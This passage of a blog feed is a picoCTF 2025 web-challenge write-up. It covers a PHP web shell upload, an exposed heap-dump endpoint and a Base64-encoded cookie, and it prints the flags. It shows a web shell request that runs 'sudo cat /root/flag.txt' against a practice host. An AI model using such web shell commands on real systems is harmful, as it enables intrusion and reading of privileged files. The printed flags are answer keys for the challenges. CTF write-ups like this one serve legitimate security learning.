<div class="language-text codeBlockContainer_Ckt0 theme-code-block" style="--prism-background-color:hsl(220, 13%, 18%);--prism-color:hsl(220, 14%, 71%)"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-text codeBlock_bY9V thin-scrollbar" style="background-color:hsl(220, 13%, 18%);color:hsl(220, 14%, 71%);text-shadow:0 1px rgba(0, 0, 0, 0.3)"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:hsl(220, 14%, 71%);text-shadow:0 1px rgba(0, 0, 0, 0.3)"><span class="token plain">http://standard-pizzas.picoctf.net:54419/uploads/malicious.php?cmd=sudo cat /root/flag.txt</span><br></div></code></pre></div></div>
<p>The application returns the contents of the flag file.</p>
<p><img decoding="async" loading="lazy" alt="Flag Found" src="https://darkr777.github.io/assets/images/2nd9-6f72cc3ede2bc7e299f11f846cf5fae9.png" width="1366" height="768" class="img_ev3q"></p>
<hr>
<h2 class="anchor anchorTargetHideOnScrollNavbar_vjPI" id="flag-1">Flag<a href="https://darkr777.github.io/blog/picoctf-2025-writeup#flag-1" class="hash-link" aria-label="Direct link to Flag" title="Direct link to Flag" translate="no">​</a></h2>
<div class="language-text codeBlockContainer_Ckt0 theme-code-block" style="--prism-background-color:hsl(220, 13%, 18%);--prism-color:hsl(220, 14%, 71%)"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-text codeBlock_bY9V thin-scrollbar" style="background-color:hsl(220, 13%, 18%);color:hsl(220, 14%, 71%);text-shadow:0 1px rgba(0, 0, 0, 0.3)"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:hsl(220, 14%, 71%);text-shadow:0 1px rgba(0, 0, 0, 0.3)"><span class="token plain">picoCTF{wh47_c4n_u_d0_wPHP_4043cda3}</span><br></div></code></pre></div></div>
<hr>
<h2 class="anchor anchorTargetHideOnScrollNavbar_vjPI" id="key-takeaways-1">Key Takeaways<a href="https://darkr777.github.io/blog/picoctf-2025-writeup#key-takeaways-1" class="hash-link" aria-label="Direct link to Key Takeaways" title="Direct link to Key Takeaways" translate="no">​</a></h2>
<p>This challenge demonstrates the dangers of insecure file upload functionality.</p>
<p>Important concepts practiced:</p>
<ul>
<li class="">File Upload Vulnerabilities</li>
<li class="">PHP Web Shells</li>
<li class="">Remote Command Execution (RCE)</li>
<li class="">Linux Privilege Enumeration</li>
<li class="">Using <code>sudo</code></li>
<li class="">Sensitive File Disclosure</li>
</ul>
<hr>
<h1>Challenge 3 — head-dump</h1>
<h2 class="anchor anchorTargetHideOnScrollNavbar_vjPI" id="challenge-description-2">Challenge Description<a href="https://darkr777.github.io/blog/picoctf-2025-writeup#challenge-description-2" class="hash-link" aria-label="Direct link to Challenge Description" title="Direct link to Challenge Description" translate="no">​</a></h2>
<p>This challenge focuses on discovering hidden API functionality and analyzing a Java heap dump to recover sensitive information.</p>
<p>Unlike traditional web exploitation challenges, the flag is exposed through a diagnostic endpoint that unintentionally leaks application memory.</p>
<p><img decoding="async" loading="lazy" alt="Challenge" src="https://darkr777.github.io/assets/images/head_dump-05bb0255a2a3da6eaf3302f1f2893285.png" width="1366" height="768" class="img_ev3q"></p>
<hr>
<h2 class="anchor anchorTargetHideOnScrollNavbar_vjPI" id="understanding-the-challenge-2">Understanding the Challenge<a href="https://darkr777.github.io/blog/picoctf-2025-writeup#understanding-the-challenge-2" class="hash-link" aria-label="Direct link to Understanding the Challenge" title="Direct link to Understanding the Challenge" translate="no">​</a></h2>
<p>The application appears to be a simple blogging website.</p>
<p>However, the challenge description hints at <strong>API documentation</strong>, suggesting that hidden functionality may be exposed through the backend API.</p>
<p>The goal is to discover those endpoints, inspect their behavior, and determine whether they expose sensitive information.</p>
<hr>
<h2 class="anchor anchorTargetHideOnScrollNavbar_vjPI" id="solution-2">Solution<a href="https://darkr777.github.io/blog/picoctf-2025-writeup#solution-2" class="hash-link" aria-label="Direct link to Solution" title="Direct link to Solution" translate="no">​</a></h2>
<h3 class="anchor anchorTargetHideOnScrollNavbar_vjPI" id="step-1--launch-the-challenge-instance">Step 1 — Launch the Challenge Instance<a href="https://darkr777.github.io/blog/picoctf-2025-writeup#step-1--launch-the-challenge-instance" class="hash-link" aria-label="Direct link to Step 1 — Launch the Challenge Instance" title="Direct link to Step 1 — Launch the Challenge Instance" translate="no">​</a></h3>
<p>After starting the instance, the challenge provides the following target URL:</p>
<div class="language-text codeBlockContainer_Ckt0 theme-code-block" style="--prism-background-color:hsl(220, 13%, 18%);--prism-color:hsl(220, 14%, 71%)"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-text codeBlock_bY9V thin-scrollbar" style="background-color:hsl(220, 13%, 18%);color:hsl(220, 14%, 71%);text-shadow:0 1px rgba(0, 0, 0, 0.3)"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:hsl(220, 14%, 71%);text-shadow:0 1px rgba(0, 0, 0, 0.3)"><span class="token plain">http://verbal-sleep.picoctf.net:61922/</span><br></div></code></pre></div></div>
<p>At first glance, the website appears to be an ordinary blog with no obvious vulnerabilities.</p>
<p>Instead of attacking the visible pages, the hint encourages exploring the application's API documentation.</p>
<hr>
<h3 class="anchor anchorTargetHideOnScrollNavbar_vjPI" id="step-2--discover-the-api-documentation">Step 2 — Discover the API Documentation<a href="https://darkr777.github.io/blog/picoctf-2025-writeup#step-2--discover-the-api-documentation" class="hash-link" aria-label="Direct link to Step 2 — Discover the API Documentation" title="Direct link to Step 2 — Discover the API Documentation" translate="no">​</a></h3>
<p>One of the page links redirects to:</p>
<div class="language-text codeBlockContainer_Ckt0 theme-code-block" style="--prism-background-color:hsl(220, 13%, 18%);--prism-color:hsl(220, 14%, 71%)"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-text codeBlock_bY9V thin-scrollbar" style="background-color:hsl(220, 13%, 18%);color:hsl(220, 14%, 71%);text-shadow:0 1px rgba(0, 0, 0, 0.3)"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:hsl(220, 14%, 71%);text-shadow:0 1px rgba(0, 0, 0, 0.3)"><span class="token plain">/api-docs/</span><br></div></code></pre></div></div>
<p>This page hosts <strong>Swagger UI</strong>, an interactive interface commonly used by developers to document and test REST APIs.</p>
<p>API documentation:</p>
<div class="language-text codeBlockContainer_Ckt0 theme-code-block" style="--prism-background-color:hsl(220, 13%, 18%);--prism-color:hsl(220, 14%, 71%)"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-text codeBlock_bY9V thin-scrollbar" style="background-color:hsl(220, 13%, 18%);color:hsl(220, 14%, 71%);text-shadow:0 1px rgba(0, 0, 0, 0.3)"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:hsl(220, 14%, 71%);text-shadow:0 1px rgba(0, 0, 0, 0.3)"><span class="token plain">http://verbal-sleep.picoctf.net:61922/api-docs/</span><br></div></code></pre></div></div>
<p>Inside Swagger UI, several API endpoints become visible.</p>
<p>One endpoint immediately stands out:</p>
<div class="language-text codeBlockContainer_Ckt0 theme-code-block" style="--prism-background-color:hsl(220, 13%, 18%);--prism-color:hsl(220, 14%, 71%)"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-text codeBlock_bY9V thin-scrollbar" style="background-color:hsl(220, 13%, 18%);color:hsl(220, 14%, 71%);text-shadow:0 1px rgba(0, 0, 0, 0.3)"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:hsl(220, 14%, 71%);text-shadow:0 1px rgba(0, 0, 0, 0.3)"><span class="token plain">GET /heapdump</span><br></div></code></pre></div></div>
<p>Because the challenge title is <strong>head-dump</strong>, this endpoint is the most likely attack vector.</p>
<hr>
<h3 class="anchor anchorTargetHideOnScrollNavbar_vjPI" id="step-3--execute-the-endpoint">Step 3 — Execute the Endpoint<a href="https://darkr777.github.io/blog/picoctf-2025-writeup#step-3--execute-the-endpoint" class="hash-link" aria-label="Direct link to Step 3 — Execute the Endpoint" title="Direct link to Step 3 — Execute the Endpoint" translate="no">​</a></h3>
<p>Using Swagger UI's <strong>Try it out</strong> feature, execute the endpoint.</p>
<p>The server responds by generating a downloadable Java heap dump.</p>
<p>Example filename:</p>
<div class="language-text codeBlockContainer_Ckt0 theme-code-block" style="--prism-background-color:hsl(220, 13%, 18%);--prism-color:hsl(220, 14%, 71%)"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-text codeBlock_bY9V thin-scrollbar" style="background-color:hsl(220, 13%, 18%);color:hsl(220, 14%, 71%);text-shadow:0 1px rgba(0, 0, 0, 0.3)"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:hsl(220, 14%, 71%);text-shadow:0 1px rgba(0, 0, 0, 0.3)"><span class="token plain">heapdump-1747300354692.heapsnapshot</span><br></div></code></pre></div></div>
<p>Download the file for further analysis.</p>
<hr>
<h3 class="anchor anchorTargetHideOnScrollNavbar_vjPI" id="step-4--search-the-heap-dump">Step 4 — Search the Heap Dump<a href="https://darkr777.github.io/blog/picoctf-2025-writeup#step-4--search-the-heap-dump" class="hash-link" aria-label="Direct link to Step 4 — Search the Heap Dump" title="Direct link to Step 4 — Search the Heap Dump" translate="no">​</a></h3>
<p>The downloaded heap snapshot is very large and contains thousands of lines.</p>
<p>Since PicoCTF flags always begin with:</p>
<div class="language-text codeBlockContainer_Ckt0 theme-code-block" style="--prism-background-color:hsl(220, 13%, 18%);--prism-color:hsl(220, 14%, 71%)"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-text codeBlock_bY9V thin-scrollbar" style="background-color:hsl(220, 13%, 18%);color:hsl(220, 14%, 71%);text-shadow:0 1px rgba(0, 0, 0, 0.3)"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:hsl(220, 14%, 71%);text-shadow:0 1px rgba(0, 0, 0, 0.3)"><span class="token plain">picoCTF{</span><br></div></code></pre></div></div>
<p>the quickest approach is searching for that string.</p>
<p>Example:</p>
<div class="language-bash codeBlockContainer_Ckt0 theme-code-block" style="--prism-background-color:hsl(220, 13%, 18%);--prism-color:hsl(220, 14%, 71%)"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-bash codeBlock_bY9V thin-scrollbar" style="background-color:hsl(220, 13%, 18%);color:hsl(220, 14%, 71%);text-shadow:0 1px rgba(0, 0, 0, 0.3)"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:hsl(220, 14%, 71%);text-shadow:0 1px rgba(0, 0, 0, 0.3)"><span class="token plain">cat heapdump-1746773498002.heapsnapshot | grep picoCTF</span><br></div></code></pre></div></div>
<p>The search immediately reveals the hidden flag stored inside application memory.</p>
<hr>
<h3 class="anchor anchorTargetHideOnScrollNavbar_vjPI" id="why-this-works">Why This Works<a href="https://darkr777.github.io/blog/picoctf-2025-writeup#why-this-works" class="hash-link" aria-label="Direct link to Why This Works" title="Direct link to Why This Works" translate="no">​</a></h3>
<p>A heap dump contains objects currently stored in an application's memory.</p>
<p>If developers accidentally leave secrets, credentials, session tokens, or flags in memory, those values become visible when the heap dump is exposed through a diagnostic endpoint.</p>
<p>Exposed debugging endpoints are a serious security risk and should never be publicly accessible.</p>
<hr>
<h2 class="anchor anchorTargetHideOnScrollNavbar_vjPI" id="flag-2">Flag<a href="https://darkr777.github.io/blog/picoctf-2025-writeup#flag-2" class="hash-link" aria-label="Direct link to Flag" title="Direct link to Flag" translate="no">​</a></h2>
<div class="language-text codeBlockContainer_Ckt0 theme-code-block" style="--prism-background-color:hsl(220, 13%, 18%);--prism-color:hsl(220, 14%, 71%)"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-text codeBlock_bY9V thin-scrollbar" style="background-color:hsl(220, 13%, 18%);color:hsl(220, 14%, 71%);text-shadow:0 1px rgba(0, 0, 0, 0.3)"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:hsl(220, 14%, 71%);text-shadow:0 1px rgba(0, 0, 0, 0.3)"><span class="token plain">picoCTF{Pat!3nt_15_Th3_K3y_f1179e46}</span><br></div></code></pre></div></div>
<hr>
<h2 class="anchor anchorTargetHideOnScrollNavbar_vjPI" id="key-takeaways-2">Key Takeaways<a href="https://darkr777.github.io/blog/picoctf-2025-writeup#key-takeaways-2" class="hash-link" aria-label="Direct link to Key Takeaways" title="Direct link to Key Takeaways" translate="no">​</a></h2>
<p>This challenge demonstrates the importance of securing diagnostic endpoints.</p>
<p>Skills practiced during this challenge:</p>
<ul>
<li class="">API Enumeration</li>
<li class="">Swagger UI Exploration</li>
<li class="">Information Disclosure</li>
<li class="">Heap Dump Analysis</li>
<li class="">Using <code>grep</code> for Rapid Searching</li>
</ul>
<hr>
<h1>Challenge 4 — Cookie Monster Secret Recipe</h1>
<h2 class="anchor anchorTargetHideOnScrollNavbar_vjPI" id="challenge-description-3">Challenge Description<a href="https://darkr777.github.io/blog/picoctf-2025-writeup#challenge-description-3" class="hash-link" aria-label="Direct link to Challenge Description" title="Direct link to Challenge Description" translate="no">​</a></h2>
<p>The challenge presents a simple webpage called <strong>Cookie Monster's Secret Recipe</strong>.</p>
<p>The objective is to inspect the application carefully and determine whether any sensitive information is hidden inside HTTP cookies.</p>
<p><img decoding="async" loading="lazy" alt="Cookie Monster" src="https://darkr777.github.io/assets/images/cm1-d8c4b24424893160515e595bc05dab09.png" width="1366" height="768" class="img_ev3q"></p>
<hr>
<h2 class="anchor anchorTargetHideOnScrollNavbar_vjPI" id="understanding-the-challenge-3">Understanding the Challenge<a href="https://darkr777.github.io/blog/picoctf-2025-writeup#understanding-the-challenge-3" class="hash-link" aria-label="Direct link to Understanding the Challenge" title="Direct link to Understanding the Challenge" translate="no">​</a></h2>
<p>Web applications frequently use <strong>HTTP Cookies</strong> to store session identifiers, user preferences, and other client-side information.</p>
<p>Although cookies are not intended to store sensitive data in plain text, CTF challenges often hide encoded information inside them.</p>
<p>The first step is therefore to inspect the cookies set by the application.</p>
<hr>
<h2 class="anchor anchorTargetHideOnScrollNavbar_vjPI" id="solution-3">Solution<a href="https://darkr777.github.io/blog/picoctf-2025-writeup#solution-3" class="hash-link" aria-label="Direct link to Solution" title="Direct link to Solution" translate="no">​</a></h2>
<h3 class="anchor anchorTargetHideOnScrollNavbar_vjPI" id="step-1--inspect-the-cookie">Step 1 — Inspect the Cookie<a href="https://darkr777.github.io/blog/picoctf-2025-writeup#step-1--inspect-the-cookie" class="hash-link" aria-label="Direct link to Step 1 — Inspect the Cookie" title="Direct link to Step 1 — Inspect the Cookie" translate="no">​</a></h3>
<p>Open the website and launch your browser's Developer Tools.</p>
<p>Navigate to:</p>
<div class="language-text codeBlockContainer_Ckt0 theme-code-block" style="--prism-background-color:hsl(220, 13%, 18%);--prism-color:hsl(220, 14%, 71%)"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-text codeBlock_bY9V thin-scrollbar" style="background-color:hsl(220, 13%, 18%);color:hsl(220, 14%, 71%);text-shadow:0 1px rgba(0, 0, 0, 0.3)"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:hsl(220, 14%, 71%);text-shadow:0 1px rgba(0, 0, 0, 0.3)"><span class="token plain">Application (or Storage) → Cookies</span><br></div></code></pre></div></div>
<p>A cookie similar to the following is visible:</p>
<div class="language-text codeBlockContainer_Ckt0 theme-code-block" style="--prism-background-color:hsl(220, 13%, 18%);--prism-color:hsl(220, 14%, 71%)"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-text codeBlock_bY9V thin-scrollbar" style="background-color:hsl(220, 13%, 18%);color:hsl(220, 14%, 71%);text-shadow:0 1px rgba(0, 0, 0, 0.3)"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:hsl(220, 14%, 71%);text-shadow:0 1px rgba(0, 0, 0, 0.3)"><span class="token plain">cGljb0NURntjMDBrMWVfbTBuc3Rlcl9sMHZlc19jMDBraWVzX0FDOEZDRDc1fQ%3D%3D</span><br></div></code></pre></div></div>
<p>At first glance it looks random, but there are two important clues.</p>
<ul>
<li class="">The value ends with <code>%3D</code></li>
<li class="">The string resembles Base64-encoded data</li>
</ul>
<hr>
<h3 class="anchor anchorTargetHideOnScrollNavbar_vjPI" id="step-2--url-decode">Step 2 — URL Decode<a href="https://darkr777.github.io/blog/picoctf-2025-writeup#step-2--url-decode" class="hash-link" aria-label="Direct link to Step 2 — URL Decode" title="Direct link to Step 2 — URL Decode" translate="no">​</a></h3>
<p>The sequence:</p>
<div class="language-text codeBlockContainer_Ckt0 theme-code-block" style="--prism-background-color:hsl(220, 13%, 18%);--prism-color:hsl(220, 14%, 71%)"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-text codeBlock_bY9V thin-scrollbar" style="background-color:hsl(220, 13%, 18%);color:hsl(220, 14%, 71%);text-shadow:0 1px rgba(0, 0, 0, 0.3)"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:hsl(220, 14%, 71%);text-shadow:0 1px rgba(0, 0, 0, 0.3)"><span class="token plain">%3D</span><br></div></code></pre></div></div>
<p>is the URL-encoded representation of:</p>
<div class="language-text codeBlockContainer_Ckt0 theme-code-block" style="--prism-background-color:hsl(220, 13%, 18%);--prism-color:hsl(220, 14%, 71%)"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-text codeBlock_bY9V thin-scrollbar" style="background-color:hsl(220, 13%, 18%);color:hsl(220, 14%, 71%);text-shadow:0 1px rgba(0, 0, 0, 0.3)"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:hsl(220, 14%, 71%);text-shadow:0 1px rgba(0, 0, 0, 0.3)"><span class="token plain">=</span><br></div></code></pre></div></div>
<p>This indicates the cookie should first be URL decoded.</p>
<p>You can use <strong>CyberChef</strong> for this process.</p>
<ol>
<li class="">Open CyberChef.</li>
<li class="">Search for <strong>URL Decode</strong>.</li>
<li class="">Drag the operation into the recipe panel.</li>
<li class="">Paste the cookie value.</li>
</ol>
<p>The decoded output becomes:</p>
<div class="language-text codeBlockContainer_Ckt0 theme-code-block" style="--prism-background-color:hsl(220, 13%, 18%);--prism-color:hsl(220, 14%, 71%)"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-text codeBlock_bY9V thin-scrollbar" style="background-color:hsl(220, 13%, 18%);color:hsl(220, 14%, 71%);text-shadow:0 1px rgba(0, 0, 0, 0.3)"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:hsl(220, 14%, 71%);text-shadow:0 1px rgba(0, 0, 0, 0.3)"><span class="token plain">cGljb0NURntjMDBrMWVfbTBuc3Rlcl9sMHZlc19jMDBraWVzX0FDOEZDRDc1fQ==</span><br></div></code></pre></div></div>
<hr>
<h3 class="anchor anchorTargetHideOnScrollNavbar_vjPI" id="step-3--base64-decode">Step 3 — Base64 Decode<a href="https://darkr777.github.io/blog/picoctf-2025-writeup#step-3--base64-decode" class="hash-link" aria-label="Direct link to Step 3 — Base64 Decode" title="Direct link to Step 3 — Base64 Decode" translate="no">​</a></h3>
<p>The decoded value now ends with:</p>
<div class="language-text codeBlockContainer_Ckt0 theme-code-block" style="--prism-background-color:hsl(220, 13%, 18%);--prism-color:hsl(220, 14%, 71%)"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-text codeBlock_bY9V thin-scrollbar" style="background-color:hsl(220, 13%, 18%);color:hsl(220, 14%, 71%);text-shadow:0 1px rgba(0, 0, 0, 0.3)"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:hsl(220, 14%, 71%);text-shadow:0 1px rgba(0, 0, 0, 0.3)"><span class="token plain">==</span><br></div></code></pre></div></div>
<p>This is a common indicator of <strong>Base64 encoding</strong>.</p>
<p>Add the <strong>From Base64</strong> operation below <strong>URL Decode</strong> in CyberChef.</p>
<p>After decoding, the hidden message is revealed.</p>
<hr>
<h2 class="anchor anchorTargetHideOnScrollNavbar_vjPI" id="flag-3">Flag<a href="https://darkr777.github.io/blog/picoctf-2025-writeup#flag-3" class="hash-link" aria-label="Direct link to Flag" title="Direct link to Flag" translate="no">​</a></h2>
<div class="language-text codeBlockContainer_Ckt0 theme-code-block" style="--prism-background-color:hsl(220, 13%, 18%);--prism-color:hsl(220, 14%, 71%)"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-text codeBlock_bY9V thin-scrollbar" style="background-color:hsl(220, 13%, 18%);color:hsl(220, 14%, 71%);text-shadow:0 1px rgba(0, 0, 0, 0.3)"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:hsl(220, 14%, 71%);text-shadow:0 1px rgba(0, 0, 0, 0.3)"><span class="token plain">picoCTF{c00k1e_m0nster_l0ves_c00kies_AC8FCD75}</span><br></div></code></pre></div></div>
<hr>
<h2 class="anchor anchorTargetHideOnScrollNavbar_vjPI" id="key-takeaways-3">Key Takeaways<a href="https://darkr777.github.io/blog/picoctf-2025-writeup#key-takeaways-3" class="hash-link" aria-label="Direct link to Key Takeaways" title="Direct link to Key Takeaways" translate="no">​</a></h2>
<p>This challenge reinforces several important web security concepts.</p>
<p>Skills practiced:</p>
<ul>
<li class="">Browser Developer Tools</li>
<li class="">Cookie Inspection</li>
<li class="">URL Encoding</li>
<li class="">Base64 Encoding</li>
<li class="">CyberChef</li>
<li class="">Client-side Data Analysis</li>
</ul>
<hr>
<h1>Overall Learning Outcomes</h1>
<p>Completing these PicoCTF challenges provided practical exposure to several real-world web security concepts.</p>
<table><thead><tr><th>Challenge</th><th>Skills Learned</th></tr></thead><tbody><tr><td>SSTI1</td><td>Server-Side Template Injection, Jinja2 Exploitation, Command Execution</td></tr><tr><td>n0s4n1ty 1</td><td>File Upload Exploitation, PHP Web Shells, Privilege Enumeration</td></tr><tr><td>head-dump</td><td>API Enumeration, Swagger UI, Heap Dump Analysis</td></tr><tr><td>Cookie Monster</td><td>Cookie Analysis, URL Decoding, Base64 Decoding</td></tr></tbody></table>
<hr>
<h1>Tools Used</h1>
<p>Throughout these challenges, the following tools and technologies were used:</p>
<ul>
<li class="">Kali Linux</li>
<li class="">Firefox Developer Tools</li>
<li class="">CyberChef</li>
<li class="">Swagger UI</li>
<li class="">Linux Terminal</li>
<li class="">PHP</li>
<li class="">Jinja2</li>
<li class="">grep</li>
<li class="">Browser Developer Tools</li>
</ul>
<hr>
<h1>References</h1>
<ul>
<li class="">PicoCTF: <a href="https://picoctf.org/" target="_blank" rel="noopener noreferrer" class="">https://picoctf.org/</a></li>
<li class="">CyberChef: <a href="https://gchq.github.io/CyberChef/" target="_blank" rel="noopener noreferrer" class="">https://gchq.github.io/CyberChef/</a></li>
</ul>
<hr>
<h1>Conclusion</h1>
<p>PicoCTF continues to be one of the best platforms for learning cybersecurity through practical, hands-on challenges.</p>
<p>These exercises provided valuable experience in identifying and exploiting common web application vulnerabilities, understanding insecure development practices, and strengthening problem-solving skills in realistic Capture The Flag (CTF) scenarios.</p>
<p>I will continue documenting future CTF challenges and cybersecurity labs as part of my learning journey to build a strong public knowledge base and track my technical growth.</p>
<p>Happy Hacking!</p>
<p><strong>— DarkR7</strong></p>]]></content:encoded>
            <category>picoctf</category>
            <category>ctf</category>
            <category>web-security</category>
            <category>cybersecurity</category>
            <category>writeup</category>
        </item>
    </channel>
</rss>